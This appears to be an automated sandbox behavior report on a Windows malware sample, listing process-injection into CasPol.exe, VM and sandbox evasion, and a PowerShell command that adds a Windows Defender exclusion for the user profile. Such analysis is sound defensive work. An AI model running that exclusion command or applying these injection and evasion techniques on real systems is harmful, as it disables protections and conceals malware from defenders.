Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Memory allocated: 1CFB9130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 1220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 30A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6841	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2870	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 1249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 2532	Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-15358

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1908	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3700	Thread sleep count: 1249 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99867s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3700	Thread sleep count: 2532 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99528s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99309s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99192s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98841s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98511s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -98078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -97969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Code function: 0_2_00007FF7C5BC2760 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

0_2_00007FF7C5BC2760

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99867	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99528	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99309	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99192	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98511	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 98078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 97969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 4munRyMrBm.exe	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BB7D00 RtlAddVectoredExceptionHandler,RaiseFailFastException,		0_2_00007FF7C5BB7D00
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5C10E9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF7C5C10E9C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: B5C008	Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

Jump to behavior

Source: C:\Users\user\Desktop\4munRyMrBm.exe

Code function: 0_2_00007FF7C5C11544 cpuid

0_2_00007FF7C5C11544

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
